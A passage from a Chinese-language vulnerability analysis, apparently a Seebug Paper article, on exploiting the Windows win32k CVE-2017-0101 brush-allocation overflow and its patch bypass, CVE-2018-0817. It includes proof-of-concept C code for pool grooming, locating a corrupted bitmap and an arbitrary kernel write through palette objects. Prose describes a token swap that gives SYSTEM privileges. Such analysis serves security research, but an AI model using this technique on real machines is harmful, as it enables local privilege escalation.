CHAR buf[0x10] = { 0 };
for (LONG i = 1000; i < 2000; i++)
{
    sprintf(buf, "CLS_%d", i);
    UnregisterClassA(buf, NULL);
}

在窗口類對象序列中挖出空洞的驗證代碼片段

漏洞觸發時,目標調色板 ENGBRUSH 對象已命中在預留的 0x18 字節的內存空洞中:

kd> !pool eax
Pool page fccebff0 region is Paged session pool
 fcceb000 size:  df8 previous size:    0  (Allocated)  Gh15
 fccebdf8 size:  1f0 previous size:  df8  (Allocated)  Gh18
*fccebfe8 size:   18 previous size:  1f0  (Allocated) *Gebr
        Pooltag Gebr : Gdi ENGBRUSH

目標 ENGBRUSH 對象已命中預留的內存空洞

漏洞觸發后,由于溢出覆蓋將位圖表面對象的 SURFACE->so.sizlBitmap.cy 成員域覆蓋成 0x6 數值,導致可控的位圖像素數據范圍擴大,因此可以通過系統函數 GetBitmapBits 請求獲取超過其原有像素數據范圍的數據。函數返回實際獲取到的像素數據長度,如果傳入參數的句柄指向的位圖表面對象是正常的未被污染的位圖對象,函數返回原本的位圖數據范圍;如果參數句柄指向被污染的目標位圖對象,函數將返回根據參數的數值能夠獲取到的數據長度。根據該性質可獲取緊隨目標位圖對象其后的調色板 PALETTE 對象的成員數據并定位目標位圖對象的句柄。定位和獲取的驗證代碼如下:

pBmpHunted = (PDWORD)malloc(0x1000);
ZeroMemory(pBmpHunted, 0x1000);
LONG index = -1;
for (LONG i = 0; i < 2000; i++)
{
    if (GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted) < 0xCA0)
    {
        continue;
    }
    index = i;
    hBmpHunted = hbitmap[i];
    break;
}
if (index == -1)
{
    return FALSE;
}

定位目標位圖對象并獲取調色板成員數據的驗證代碼片段

獲取到的像素數據被存儲在 DWORD 類型的數組緩沖區中。編譯后在測試環境執行,成功定位到目標位圖對象的句柄,超額獲取到的像素數據輸出后發現包含調色板 PALETTE 對象的成員數據:

[0804]00000000 [0805]00000000 [0806]00000000 [0807]463E01BF
[0808]38316847 [0809]010813CD [0810]00000000 [0811]00000000
[0812]00000000 [0813]00000501 [0814]00000064 [0815]00002117
[0816]00000000 [0817]00000000 [0818]00000000 [0819]00000000
[0820]00000000 [0821]00000000 [0822]00000000 [0823]00000000
[0824]940A8D10 [0825]940A8D3B [0826]00000000 [0827]00000000
[0828]FCD64E54 [0829]FCD64E00 [0830]CDCDCDCD [0831]CDCDCDCD

獲取到的像素數據中包含調色板對象的成員數據

觀察上面的數據片段,可發現下標 808 的數值是調色板 PALETTE 對象所在內存塊的 Gh18 池標記。從下標 809 位置開始的是目標 PALETTE 對象的成員數據。參考前面章節中列出的 PALETTE 類的定義,計算出關鍵成員域 cEntriesapalColor 的下標分別為 814828。根據成員域 apalColor 的數值計算出當前內存頁的基地址,繼而定位到位于當前內存頁起始位置的位圖表面對象。

隨后通過修改成員域 apalColor 指向預期的內存地址,使目標調色板 PALETTE 對象將新的內存地址作為調色板列表數據區域的首地址。后續操作該調色板對象時,在內核函數中將讀寫修改后指向地址的內存數據。

根據結構體 BASEOBJECT 的定義:

typedef struct _BASEOBJECT {
    HANDLE     hHmgr;
    PVOID      pEntry;
    LONG       cExclusiveLock;
    PW32THREAD Tid;
} BASEOBJECT, *POBJ;

結構體 BASEOBJECT 的定義

成員域 hHmgr 存儲當前內核 GDI 對象的句柄,對應像素數據數組下標 809 位置。根據獲得的調色板對象句柄,通過調用系統函數 SetPaletteEntriesGetPaletteEntries 可以實現對目標地址的寫入或讀取訪問。兩個函數的定義如下:

UINT SetPaletteEntries(
  _In_       HPALETTE     hpal,
  _In_       UINT         iStart,
  _In_       UINT         cEntries,
  _In_ const PALETTEENTRY *lppe
);

UINT GetPaletteEntries(
  _In_  HPALETTE       hpal,
  _In_  UINT           iStart,
  _In_  UINT           cEntries,
  _Out_ LPPALETTEENTRY lppe
);

函數 Set/GetPaletteEntries 的定義

兩個函數的參數一致,各參數依次是:參數 hpal 指向目標調色板對象的句柄,參數 iStart 訪問起始調色板表項索引,參數 nEntries 設定或獲取調色板表項的數目,參數 lppe 指向用戶態存儲表項數組緩沖區。利用位圖對象和調色板對象相互配合,通過這兩個函數實現的任意內存地址寫入的驗證代碼如下:

VOID PointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
    UINT iLeng = 0;
    pBmpHunted[iExtPalColor] = addr;
    iLeng = SetBitmapBits(hBmpHunted, 0xD00, pBmpHunted);
    PVOID pvTable = NULL;
    UINT cbSize = (cb + 3) & ~3; // sizeof(PALETTEENTRY) => 4
    pvTable = malloc(cbSize);
    ZeroMemory(pvTable, cbSize);
    memcpy(pvTable, pvBits, cb);
    iLeng = SetPaletteEntries(hPalExtend, 0, cbSize / 4, (PPALETTEENTRY)pvTable);
    free(pvTable);
}

利用調色板對象任意地址寫入的驗證代碼片段

利用調色板對象任意內存地址讀取的代碼與之類似。接下來通過實現的任意讀寫接口,替換當前驗證代碼進程的 EPROCESS 結構的 TOKEN 指針為系統進程的 TOKEN 指針,實現特權提升的目的,并修復被損壞的 POOL_HEADER 結構和目標位圖表面 SURFACE 對象的相關成員域,以使當前進程能夠安全退出。

啟動的命令提示符進程已屬于 System 用戶特權


CVE-2018-0817

在內核函數 EngRealizeBrush 中計算指定內存分配大小的變量的數值時,漏洞 CVE-2017-0101 的補丁程序雖然增加了防止發生整數溢出的校驗函數,但是遺漏了在函數向內存分配函數調用傳遞參數時對 v16 + 0x40 計算語句的校驗。然而漏洞驗證代碼恰可以利用這個遺漏來觸發漏洞,造成補丁繞過,漏洞驗證代碼和利用代碼因此在已安裝最新安全補丁的 Windows 7 至 Windows 10 操作系統環境中仍舊能夠成功觸發和提權。

微軟在 2018 年 3 月安全公告中公布了新的 CVE-2018-0817 漏洞,并且在安全公告所發布的安全更新中已包含修復該漏洞的補丁程序。補丁程序為函數 EngRealizeBrush 中的 ulSizeTotal + 0x40 計算語句位置增加了 ULongAdd 校驗函數:

lea     eax, [ebp+ulBufferBytes]
push    eax
push    dword ptr [ebp+ulSizeTotal]
push    40h
call    ?ULongAdd@@YGJKKPAK@Z
test    eax, eax
jl      loc_BF83E8B4
[...]
mov     ebx, [ebp+ulBufferBytes]
[...]
push    'rbeG'          ; Tag
push    ebx             ; size_t
call    _PALLOCMEM@8    ; PALLOCMEM(x,x)
mov     esi, eax
mov     [ebp+var_38], eax

漏洞 CVE-2018-0817 的補丁程序增加校驗函數

0x4 鏈接

本分析的 POC 下載

https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2017-0101/x86.cpp

Windows 2000 圖形驅動程序設計指南

http://read.pudn.com/downloads49/sourcecode/windows/vxd/167121/2004-08-31_win2kDDK4.pdf

GDI Palette Objects Local Privilege Escalation (MS17-017)

https://www.exploit-db.com/exploits/42432/

Logical Brush Types https://msdn.microsoft.com/en-us/library/windows/desktop/dd145038(v=vs.85).aspx

ICM-Enabled Bitmap Functions

https://msdn.microsoft.com/en-us/library/windows/desktop/dd144990(v=vs.85).aspx

Windows Color System

https://msdn.microsoft.com/en-us/library/windows/desktop/dd372446(v=vs.85).aspx

DrvRealizeBrush function

https://msdn.microsoft.com/en-us/library/windows/hardware/ff556273(v=vs.85).aspx

GDI Support Services

https://docs.microsoft.com/en-us/windows-hardware/drivers/display/gdi-support-services

sensepost / gdi-palettes-exp

https://github.com/sensepost/gdi-palettes-exp

GDI Support for Palettes

https://docs.microsoft.com/en-us/windows-hardware/drivers/display/gdi-support-for-palettes


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/586/